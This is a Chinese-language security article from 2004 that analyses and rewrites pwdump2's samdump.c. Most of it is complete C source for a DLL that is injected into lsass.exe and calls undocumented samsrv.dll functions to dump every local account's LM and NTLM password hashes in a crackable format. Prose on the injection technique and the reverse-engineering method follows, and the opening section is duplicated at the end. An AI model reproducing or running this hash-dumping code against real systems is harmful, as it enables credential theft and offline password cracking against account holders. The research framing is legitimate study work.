作者:scz <scz@nsfocus.com>
出处:http://www.nsfocus.com
日期:2004-03-05
☆ pwdump2/samdump.c浅析与改进
(txt版全文http://www.opencjk.org/~scz/200401041902.txt)
samdump.c调用LsaQueryInformationPolicy()获取主机SID,未调用LsaFreeMemory()
释放内存,造成lsass.exe进程空间的内存泄漏。此外,需要引入advapi32.lib。
samdump.c中有一个RegCloseKey()操作,可能最初直接读取注册表,后因LM Hash、
NTLM Hash加密存放,才改用samsrv.dll引出的未公开(文档化)函数。
我重写了pwdump2,主要是配合前段时间samsrv.dll的逆向工程,将一些猜测性结论
加以验证,或推翻或肯定。参getlmhashdll.c源代码,将整个流程减化、抽象一下:
--------------------------------------------------------------------------
SamIConnect
SamrEnumerateDomainsInSamServer
SamrLookupDomainInSamServer
SamrOpenDomain
SamrEnumerateUsersInDomain
SamrOpenUser
SamrQueryInformationUser
SamIFree_SAMPR_USER_INFO_BUFFER
SamrCloseHandle
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
LocalFree
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
--------------------------------------------------------------------------
SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未
曾用到的samsrv.dll引出函数,用以代替LsaQueryInformationPolicy,其实我演示
的这个方法才是正经的SAM操作方法。我的意思是,要用未文档化的函数,就都用好
了。
使用LsaQueryInformationPolicy的话,就不必使用SamrEnumerateUsersInDomain,
理念换成"尽量使用文档化的函数",用NetUserEnum枚举帐号。
相比samdump.c,没有其它改进,Todd Sabin已经完成了必要的Hacking。
--------------------------------------------------------------------------
/*
* (C) Todd Sabin 1997,1998,2000 All rights reserved.
* -----------------------------------------------------------------------
* Rewrite : scz <scz@nsfocus.com>
* : http://www.nsfocus.com
* Version : 1.10
* Compile : For x86/EWindows XP SP1 & VC 7
* : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE
* :
* Create : 2003-12-29 21:42
* Modify : 2004-01-04 17:26
* -----------------------------------------------------------------------
* The only thing they can't take from us are our minds. !H
*/
/************************************************************************
* *
* Head File *
* *
************************************************************************/
/*
* #define _WIN32_WINNT 0x0501
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* for _vsnprintf()
*/
#include <stdarg.h>
#include <windows.h>
/************************************************************************
* *
* Macro *
* *
************************************************************************/
#pragma comment( linker, "/INCREMENTAL:NO" )
#pragma comment( lib, "kernel32.lib" )
#define VERSION "1.10"
/*
* you'll find a list of NTSTATUS status codes in the DDK header
* ntstatus.h (/WINDDK/2600.1106/inc/ddk/wxp/)
*/
typedef LONG NTSTATUS;
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
#define SamUserOWFPasswordInformation 0x12
#pragma pack( push, 1 )
/*
* ntdef.h
*/
typedef struct _UNICODE_STRING
{
USHORT Length; // +0x000
USHORT MaximumLength; // +0x002
PWSTR Buffer; // +0x004
// +0x008
} UNICODE_STRING, *PUNICODE_STRING;
/*
* !!!
* from Luke Kenneth Casson Leighton
*/
typedef struct _SAM_DOMAIN_USER
{
DWORD userrid; // +0x000
UNICODE_STRING username; // +0x004,这是一个结构,而非结构指针
// +0x00c,该结构总共占12字节
} SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;
/*
* !!!
* (C) Todd Sabin 1997,1998,2000 All rights reserved.
*/
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
DWORD DomainUserCount; // +0x000,数组元素个数
PSAM_DOMAIN_USER DomainUser; // +0x004,动态分配空间的结构数组
// +0x008,后面还有没有成员,目前看不出来
/*
* ... ...
*/
} SAM_DOMAIN_USER_ENUMERATION, *PSAM_DOMAIN_USER_ENUMERATION, **PPSAM_DOMAIN_USER_ENUMERATION;
/*
* 自己Hacking得到的结构,不可靠
*/
typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION // Information Class 0x12
{
unsigned char NTLMHash[16]; // +0x000,16字节的NTLM Hash
unsigned char LMHash[16]; // +0x010,16字节的LM Hash
unsigned short int Unknown_020; // +0x020,参samsrv!SampGetCurrentAdminPassword()
unsigned char Unknown_022; // +0x022
// +0x023
} SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;
typedef struct _SAM_SERVER_DOMAIN
{
DWORD unused; // +0x000,未使用,总为0(猜测)
UNICODE_STRING domainname; // +0x004,这是一个结构,而非结构指针
// +0x00c,该结构总共占12字节
} SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;
typedef struct _SAM_DOMAIN_ENUMERATION
{
DWORD ServerDomainCount; // +0x000,数组元素个数
PSAM_SERVER_DOMAIN ServerDomain; // +0x004,动态分配空间的结构数组
// +0x008,后面还有没有成员,目前看不出来
/*
* ... ...
*/
} SAM_SERVER_DOMAIN_ENUMERATION, *PSAM_SERVER_DOMAIN_ENUMERATION, **PPSAM_SERVER_DOMAIN_ENUMERATION;
#pragma pack( pop )
/*
* 这些Undocumented Win32 API由samsrv.dll引出(export)
*/
typedef NTSTATUS ( WINAPI *SAMICONNECT )
(
DWORD Unknown_0, // 意义不明,调用时一般为0
PHANDLE pSamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE
DWORD AccessMask, // Access Mask
DWORD Unknown_1 // 意义不明,调用时一般为1
);
typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN )
(
HANDLE SamHandle, // 源自sam connect操作
DWORD AccessMask, // Access Mask
PSID DomainSid, // 这个域不是通常所说NT域
PHANDLE pDomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMROPENUSER )
(
HANDLE DomainHandle, // 源自sam open domain操作
DWORD AccessMask, // Access Mask
DWORD Rid, // 比如500,0x1F4,Administrator
PHANDLE pUserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER )
(
HANDLE UserHandle, // 源自sam open user操作
DWORD InfoClass, // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
// 了减少编译难度,换成DWORD型
PVOID UserInfo // 随InfoClass不同,对应不同的结构
);
typedef VOID ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER )
(
PVOID UserInfo, // 随InfoClass不同,对应不同的结构
DWORD InfoClass // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
// 了减少编译难度,换成DWORD型
);
typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE )
(
PHANDLE pHandle // 可以关闭各种sam操作相关的句柄
// 是指向HANDLE的指针,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN )
(
HANDLE DomainHandle, // 源自sam open domain操作
PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
DWORD AccessMask, // filter,Access Mask
// 如欲枚举所有帐号,指定0
PPSAM_DOMAIN_USER_ENUMERATION pDomainUserEnumeration, // [out]参数
DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize
// 可以指定成0x0000FFFF
PDWORD pUserCount // [out]参数,枚举出的帐号数目
);
typedef VOID ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER )
(
PVOID EnumerationBuf // 其实是PSAM_ENUMERATION_BUFFER
// 调用时可能传PSAM_DOMAIN_USER_ENUMERATION
// 或者传PSAM_SERVER_DOMAIN_ENUMERATION
);
typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER )
(
HANDLE SamHandle, // 源自sam connect操作
PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration, // [out]参数
DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize
// 应该也可以指定成0x0000FFFF
PDWORD pDomainCount // [out]参数,枚举出的Domain数目
);
typedef NTSTATUS ( WINAPI *SAMRLOOKUPDOMAININSAMSERVER )
(
HANDLE SamHandle, // 源自sam connect操作
PUNICODE_STRING DomainName, //
PSID *pDomainSid // [out]参数,用LocalFree()释放
);
/*
* 这些Native API由ntdll.dll引出(export)
*/
typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR )
(
IN NTSTATUS status
);
/************************************************************************
* *
* Function Prototype *
* *
************************************************************************/
static void getlmhash ( void );
static BOOL LocateNtdllEntry ( void );
static BOOL LocateSamsrvEntry ( void );
static void PrintHash ( unsigned char *hash );
static void PrintUnicodeString ( PUNICODE_STRING us );
static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId );
static void PrintZwErrorCUI ( char *message, NTSTATUS status );
static int PrivatePrintf
(
HANDLE handle,
char *buf,
size_t count,
const char *format,
...
);
__declspec(dllexport)
DWORD __cdecl
getlmhashdll_main ( char *pipename );
/************************************************************************
* *
* Static Global Var *
* *
************************************************************************/
static HANDLE outfile = INVALID_HANDLE_VALUE;
static char *outbuf = NULL;
static size_t outbuflen = 0;
static HMODULE samsrv = NULL;
/*
* 由samsrv.dll引出的Undocumented Win32 API函数指针
*/
static SAMICONNECT SamIConnect = NULL;
static SAMROPENDOMAIN SamrOpenDomain = NULL;
static SAMROPENUSER SamrOpenUser = NULL;
static SAMRQUERYINFORMATIONUSER SamrQueryInformationUser = NULL;
static SAMIFREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = NULL;
static SAMRCLOSEHANDLE SamrCloseHandle = NULL;
static SAMRENUMERATEUSERSINDOMAIN SamrEnumerateUsersInDomain = NULL;
static SAMIFREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = NULL;
static SAMRENUMERATEDOMAINSINSAMSERVER SamrEnumerateDomainsInSamServer = NULL;
static SAMRLOOKUPDOMAININSAMSERVER SamrLookupDomainInSamServer = NULL;
/*
* 由ntdll.dll引出的Native API函数指针
*/
static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;
/************************************************************************/
static void getlmhash ( void )
{
NTSTATUS status;
HANDLE SamHandle = NULL,
EnumerationHandle = NULL,
DomainHandle = NULL,
UserHandle = NULL;
PSAM_SERVER_DOMAIN_ENUMERATION ServerDomainEnumeration = NULL;
DWORD DomainCount = 0,
UserCount = 0,
Count = 0;
PSID DomainSid = NULL;
PSAM_DOMAIN_USER_ENUMERATION DomainUserEnumeration = NULL;
BOOL nomoredata = FALSE;
PSAM_USER_OWF_PASSWORD_INFORMATION UserOWFPasswordInfo = NULL;
status = SamIConnect
(
0, // 意义不明,调用时一般为0
&SamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE
0x10000030, // Access Mask
// Generic read
// Open domain
// Enum domains
1 // 意义不明,调用时一般为1
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamIConnect() failed",
status
);
goto getlmhash_exit;
}
status = SamrEnumerateDomainsInSamServer
(
SamHandle, // 源自sam connect操作
&EnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
&ServerDomainEnumeration, // [out]参数
0x0000FFFF, // 意义未明,似乎对应Pref MaxSize
// 应该也可以指定成0x0000FFFF
&DomainCount // [out]参数,枚举出的Domain数目
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrEnumerateDomainsInSamServer() failed",
status
);
goto getlmhash_exit;
}
if ( 2 != DomainCount )
{
goto getlmhash_exit;
}
status = SamrLookupDomainInSamServer
(
SamHandle, // 源自sam connect操作
&ServerDomainEnumeration->ServerDomain[0].domainname, // PUNICODE_STRING
&DomainSid // [out]参数,用LocalFree()释放
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrLookupDomainInSamServer() failed",
status
);
goto getlmhash_exit;
}
status = SamrOpenDomain
(
SamHandle, // 源自sam connect操作
0x10000000, // Access Mask
// SampGetCurrentAdminPassword()中用的是这个值
DomainSid, // 这个域不是通常所说NT域
&DomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* TMD,前面SamrEnumerateDomainsInSamServer()用过一次,真是个相当隐蔽
* 的错误。为了枚举所有帐号,调用SamrEnumerateUsersInDomain()之前一定
* 要将该[in/out]参数清零。
*/
EnumerationHandle = NULL;
do
{
status = SamrEnumerateUsersInDomain
(
DomainHandle, // Context Handle
&EnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
0, // filter,Access Mask
// 如欲枚举所有帐号,指定0
&DomainUserEnumeration, // [out]参数
0x0000FFFF, // 意义未明,似乎对应Pref MaxSize
&UserCount // [out]参数,枚举出的帐号数目
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrEnumerateUsersInDomain() failed",
status
);
goto getlmhash_exit;
}
/*
* from ntstatus.h(/WINDDK/2600.1106/inc/ddk/wxp/)
*
* Returned by enumeration APIs to indicate more information is
* available to successive calls.
*
* #define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
*/
if ( STATUS_MORE_ENTRIES != status )
{
nomoredata = TRUE;
}
Count = 0;
while ( Count < UserCount )
{
status = SamrOpenUser
(
DomainHandle, // 源自sam open domain操作
0x10000000, // Access Mask
DomainUserEnumeration->DomainUser[Count].userrid, // RID
&UserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrOpenUser() failed",
status
);
goto getlmhash_exit;
}
status = SamrQueryInformationUser
(
UserHandle, // 源自sam open user操作
SamUserOWFPasswordInformation, // InformationClass,0x12,其实是
// SAM_USER_INFORMATION_CLASS枚举型,
// 为了减少编译难度,换成DWORD型
&UserOWFPasswordInfo // 随InformationClass不同,对应不同的结构
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrQueryInformationUser() failed",
status
);
goto getlmhash_exit;
}
PrintUnicodeString( &DomainUserEnumeration->DomainUser[Count].username );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":%u:",
DomainUserEnumeration->DomainUser[Count].userrid
);
PrintHash( UserOWFPasswordInfo->LMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":"
);
PrintHash( UserOWFPasswordInfo->NTLMHash );
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
":::/n"
);
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
status = SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamrCloseHandle() failed for UserHandle",
status
);
goto getlmhash_exit;
}
Count++;
} /* end of while */
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
while ( FALSE == nomoredata );
getlmhash_exit:
if ( NULL != UserOWFPasswordInfo )
{
SamIFree_SAMPR_USER_INFO_BUFFER
(
UserOWFPasswordInfo,
SamUserOWFPasswordInformation // InformationClass,0x12
);
UserOWFPasswordInfo = NULL;
}
if ( NULL != UserHandle )
{
SamrCloseHandle
(
&UserHandle
);
UserHandle = NULL;
}
if ( NULL != DomainUserEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
DomainUserEnumeration
);
DomainUserEnumeration = NULL;
}
if ( NULL != DomainHandle )
{
SamrCloseHandle
(
&DomainHandle
);
DomainHandle = NULL;
}
if ( NULL != DomainSid )
{
LocalFree( DomainSid );
DomainSid = NULL;
}
if ( NULL != ServerDomainEnumeration )
{
SamIFree_SAMPR_ENUMERATION_BUFFER
(
ServerDomainEnumeration
);
ServerDomainEnumeration = NULL;
}
if ( NULL != SamHandle )
{
SamrCloseHandle
(
&SamHandle
);
SamHandle = NULL;
}
return;
} /* end of getlmhash */
/*
* ntdll.dll正常引出了如下Native API,我们不想让ntdll.lib介入,这会增加编
* 译难度,于是换用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char ntdllname[] = "ntdll";
HMODULE ntdll = NULL;
/*
* returns a handle to a mapped module without incrementing its
* reference count
*/
ntdll = GetModuleHandle( ntdllname );
if ( NULL == ntdll )
{
PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
return( ret );
}
RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress
(
ntdll,
"RtlNtStatusToDosError"
);
if ( !RtlNtStatusToDosError )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
if ( NULL != ntdll )
{
ntdll = NULL;
}
return( ret );
} /* end of LocateNtdllEntry */
/*
* samsrv.dll正常引出了如下Undocumented Win32 API,由于没有samsrv.lib存在,
* 被迫利用GetProcAddress()获取这些函数地址。
*/
static BOOL LocateSamsrvEntry ( void )
{
BOOL ret = FALSE;
char samsrvname[] = "samsrv";
samsrv = LoadLibrary( samsrvname );
if ( NULL == samsrv )
{
PrintWin32ErrorCUI( "LoadLibrary() failed", GetLastError() );
return( ret );
}
SamIConnect = ( SAMICONNECT )GetProcAddress
(
samsrv,
"SamIConnect"
);
if ( !SamIConnect )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenDomain = ( SAMROPENDOMAIN )GetProcAddress
(
samsrv,
"SamrOpenDomain"
);
if ( !SamrOpenDomain )
{
goto LocateSamsrvEntry_exit;
}
SamrOpenUser = ( SAMROPENUSER )GetProcAddress
(
samsrv,
"SamrOpenUser"
);
if ( !SamrOpenUser )
{
goto LocateSamsrvEntry_exit;
}
SamrQueryInformationUser = ( SAMRQUERYINFORMATIONUSER )GetProcAddress
(
samsrv,
"SamrQueryInformationUser"
);
if ( !SamrQueryInformationUser )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_USER_INFO_BUFFER = ( SAMIFREE_SAMPR_USER_INFO_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_USER_INFO_BUFFER"
);
if ( !SamIFree_SAMPR_USER_INFO_BUFFER )
{
goto LocateSamsrvEntry_exit;
}
SamrCloseHandle = ( SAMRCLOSEHANDLE )GetProcAddress
(
samsrv,
"SamrCloseHandle"
);
if ( !SamrCloseHandle )
{
goto LocateSamsrvEntry_exit;
}
SamrEnumerateUsersInDomain = ( SAMRENUMERATEUSERSINDOMAIN )GetProcAddress
(
samsrv,
"SamrEnumerateUsersInDomain"
);
if ( !SamrEnumerateUsersInDomain )
{
goto LocateSamsrvEntry_exit;
}
SamIFree_SAMPR_ENUMERATION_BUFFER = ( SAMIFREE_SAMPR_ENUMERATION_BUFFER )GetProcAddress
(
samsrv,
"SamIFree_SAMPR_ENUMERATION_BUFFER"
);
if ( !SamIFree_SAMPR_ENUMERATION_BUFFER )
{
goto LocateSamsrvEntry_exit;
}
SamrEnumerateDomainsInSamServer = ( SAMRENUMERATEDOMAINSINSAMSERVER )GetProcAddress
(
samsrv,
"SamrEnumerateDomainsInSamServer"
);
if ( !SamrEnumerateDomainsInSamServer )
{
goto LocateSamsrvEntry_exit;
}
SamrLookupDomainInSamServer = ( SAMRLOOKUPDOMAININSAMSERVER )GetProcAddress
(
samsrv,
"SamrLookupDomainInSamServer"
);
if ( !SamrLookupDomainInSamServer )
{
goto LocateSamsrvEntry_exit;
}
ret = TRUE;
LocateSamsrvEntry_exit:
if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
/*
* 后面还要用这些函数指针,这里不得释放samsrv.dll
*/
return( ret );
} /* end of LocateSamsrvEntry */
static void PrintHash ( unsigned char *hash )
{
unsigned int i;
char buf[33];
char *p = buf;
for ( i = 0; i < 16; i++ )
{
sprintf( p, "%02X", hash[i] );
p += 2;
}
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s",
buf
);
return;
} /* end of PrintHash */
static void PrintUnicodeString ( PUNICODE_STRING us )
{
int i = 0;
unsigned int len = 0;
unsigned char *ansibuf = NULL,
*ansistr = NULL;
if ( NULL == us )
{
goto PrintUnicodeString_exit;
}
/*
* 将Unicode串转换成DBCS串再显示,否则中文串显示有问题
*/
len = us->Length + 1;
ansibuf = ( unsigned char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, len );
if ( NULL == ansibuf )
{
ansistr = "No memory for ansibuf";
}
else
{
i = WideCharToMultiByte
(
CP_ACP,
0,
us->Buffer,
( int )( us->Length / 2 ),
ansibuf,
len,
NULL,
NULL
);
if ( 0 == i )
{
ansistr = "WideCharToMultiByte() failed";
}
else
{
ansistr = ansibuf;
}
}
PrivatePrintf( outfile, outbuf, outbuflen, "%s", ansibuf );
PrintUnicodeString_exit:
if ( NULL != ansibuf )
{
HeapFree( GetProcessHeap(), 0, ansibuf );
ansibuf = NULL;
}
return;
} /* end of PrintUnicodeString */
static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
char *errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwMessageId,
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} /* end of PrintWin32ErrorCUI */
static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
char *errMsg;
FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
RtlNtStatusToDosError( status ),
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
PrivatePrintf
(
outfile,
outbuf,
outbuflen,
"%s: %s",
message,
errMsg
);
LocalFree
(
errMsg
);
return;
} /* end of PrintZwErrorCUI */
static int PrivatePrintf
(
HANDLE handle,
char *buf,
size_t count,
const char *format,
...
)
{
va_list arg;
int num;
DWORD NumberOfBytes;
if ( INVALID_HANDLE_VALUE == handle || NULL == handle || NULL == buf || 0 == count || NULL == format )
{
return( -1 );
}
/*
* 将来运行在lsass.exe进程上下文中,必须动用SEH机制加以保护,否则一旦
* 出现内存访问违例,将导致整个操作系统崩溃!
*/
__try
{
va_start( arg, format );
num = _vsnprintf
(
buf,
count - 1,
format,
arg
);
if ( num >= 0 )
{
WriteFile
(
handle,
buf,
num,
&NumberOfBytes,
NULL
);
}
va_end( arg );
}
__except
(
EXCEPTION_EXECUTE_HANDLER
)
{
num = -1;
}
return( num );
} /* end of PrivatePrintf */
DWORD __cdecl getlmhashdll_main ( char *pipename )
{
DWORD ret = EXIT_FAILURE;
outbuflen = 1024;
outbuf = ( char * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, outbuflen );
if ( NULL == outbuf )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == WaitNamedPipe( pipename, NMPWAIT_USE_DEFAULT_WAIT ) )
{
goto getlmhashdll_main_exit;
}
outfile = CreateFile
(
pipename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if ( INVALID_HANDLE_VALUE == outfile )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateNtdllEntry() )
{
goto getlmhashdll_main_exit;
}
if ( FALSE == LocateSamsrvEntry() )
{
goto getlmhashdll_main_exit;
}
/*
* 利用samsrv.dll引出的Undocumented Win32 API获取本机帐号的LM Hash、
* NTLM Hash
*/
getlmhash();
ret = EXIT_SUCCESS;
getlmhashdll_main_exit:
if ( NULL != samsrv )
{
FreeLibrary( samsrv );
samsrv = NULL;
}
if ( INVALID_HANDLE_VALUE != outfile )
{
CloseHandle( outfile );
outfile = INVALID_HANDLE_VALUE;
}
if ( NULL != outbuf )
{
HeapFree( GetProcessHeap(), 0, outbuf );
outbuf = NULL;
}
outbuflen = 0;
return( ret );
} /* end of getlmhashdll_main */
BOOL WINAPI DllMain ( HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad )
{
DisableThreadLibraryCalls( hinstDll );
return( TRUE );
} /* end of DllMain */
/************************************************************************/
--------------------------------------------------------------------------
1) pwdump2在做什么。
假设当前用户是Administrator或等效用户,pwdump2利用远程线程注入向lsass.exe
进程空间注入一段代码,加载了samdump.c生成的动态链接库,然后GetProcAddress
获取samdump.dll的一个引出函数并调用之。该引出函数获取当前系统中可枚举帐号
的LM Hash、NTLM Hash,生成LC4格式(.lc)文件,可用LC4或等效工具进行暴力破解。
关于LM Hash脆弱性,参看<<SMB系列(5)--LM/NTLM验证机制>>。
http://www.opencjk.org/~scz/200210141957.txt
第一次用加载DLL的办法完成远程线程实质性工作,以前是按照C语言式shellcode的
套路。加载DLL的办法要省不少细节上的纠缠,也趁此多做一点技术积累。
2) 为什么pwdump2这样做就可以获取LM Hash、NTLM Hash。
这个问题,严格意义上的讲解太复杂,又得扯一堆概念进来,参看[2]。简单地讲,
在lsass.exe进程上下文中调用samsrv.dll的未文档化引出函数,这些函数会返回期
望中的LM Hash、NTLM Hash。
开始我低估了SAM安全限制。以为以SYSTEM权限访问SAM即可获取LM Hash,居然失败。
最后确认非要从lsass.exe进程上下文中访问SAM,否则得到如下错误信息:
SamIConnect() failed: 安全帐户管理器(SAM)或本地安全颁发机构(LSA)服务器处于运行安全操作的错误状态。
3) 既然这种技术是未文档化的,那帮人又是如何得到这种技术的,他们Hacking的过
程、思想的发展可能是怎样的。
最开始我在写扫描器远程漏洞扫描插件,用NetUserGetInfo()查询远程用户信息,在
Ethereal解码过程中意识到与pwdump2的联系。接下来有了逆向samsrv.dll的想法。
逆完SampUpdateEncryption、SampGetCurrentAdminPassword,就得出了前面那个抽
象流程。再与samdump.c一对照,思路很清晰。虽然我不清楚bindview的人是怎么接
近此处的,但按我这个搞法,也可接近此处,就不无谓纠缠了。
4) 在此基础上我们还能继续Hacking出其它有用的东西吗。
目前我没有更多时间Hacking这个方向,但至少成功还原了一批函数原型、数据结构。
有些东西可能目前阶段没有直接用途,但日后肯定会用到的。
枚举值SamUserOWFPasswordInformation(0x12)只能用于本机操作,如在网络操作中
指定0x12级查询,会报告无效级别,显然这出于安全考虑。我在一个底层SMB测试程
序中手工构造SamrQueryInformationUser(36)报文,试图指定level 0x12,查询失败。
5) 下次让你独立确定一个课题并研究之,你会在上述研究中受到什么样的启发,比
如选题方向、研究方法、工具使用等等。
由此想到一种研究Windows未文档化函数的方法。很多SMB网络函数第一形参指定目标
系统,当该形参为NULL时目标系统即本机。如果用Ethereal抓取了网络通信报文,根
据DCE RPC的marshalling/unmarshalling知识,有可能还原最初的数据结构,而这种
数据结构同时适用于本机、远程操作。再结合适当的逆向工程,进展会更大。当然,
有个重要前提,就是Ethereal已经进行了正确的Network Hacking,否则会导致错误
结论。你还必须能够在Ethereal所解析出的远程过程、Windows RPC Server以及MSDN
中的Win32 API这三者之间找到必然联系。
有个较深的感受,有些东西之间看似没有联系,实际却殊途同归。很早以前就想看看
pwdump2的实现机理,一直觉得它是横空出世的,没有来历,很茫然。搞不清为什么
要GetProcAddress获取那些引出函数地址。没想到在网络通信解码过程中豁然开朗。
看样子以后正门搞不定了,就扔到一边,说不定哪天发现到处是侧门。
☆ 参考资源
[ 2] Windows NT Security, Part 1
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143
Windows NT Security, Part 2
http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492
出处:http://www.nsfocus.com
日期:2004-03-05
☆ pwdump2/samdump.c浅析与改进
(txt版全文http://www.opencjk.org/~scz/200401041902.txt)
samdump.c调用LsaQueryInformationPolicy()获取主机SID,未调用LsaFreeMemory()
释放内存,造成lsass.exe进程空间的内存泄漏。此外,需要引入advapi32.lib。
samdump.c中有一个RegCloseKey()操作,可能最初直接读取注册表,后因LM Hash、
NTLM Hash加密存放,才改用samsrv.dll引出的未公开(文档化)函数。
我重写了pwdump2,主要是配合前段时间samsrv.dll的逆向工程,将一些猜测性结论
加以验证,或推翻或肯定。参getlmhashdll.c源代码,将整个流程减化、抽象一下:
--------------------------------------------------------------------------
SamIConnect
SamrEnumerateDomainsInSamServer
SamrLookupDomainInSamServer
SamrOpenDomain
SamrEnumerateUsersInDomain
SamrOpenUser
SamrQueryInformationUser
SamIFree_SAMPR_USER_INFO_BUFFER
SamrCloseHandle
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
LocalFree
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
--------------------------------------------------------------------------
SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未
曾用到的samsrv.dll引出函数,用以代替LsaQueryInformationPolicy,其实我演示
的这个方法才是正经的SAM操作方法。我的意思是,要用未文档化的函数,就都用好
了。
使用LsaQueryInformationPolicy的话,就不必使用SamrEnumerateUsersInDomain,
理念换成"尽量使用文档化的函数",用NetUserEnum枚举帐号。
相比samdump.c,没有其它改进,Todd Sabin已经完成了必要的Hacking。
--------------------------------------------------------------------------
/*
* (C) Todd Sabin 1997,1998,2000 All rights reserved.
* -----------------------------------------------------------------------
* Rewrite : scz <scz@nsfocus.com>
* : http://www.nsfocus.com
* Version : 1.10
* Compile : For x86/EWindows XP SP1 & VC 7
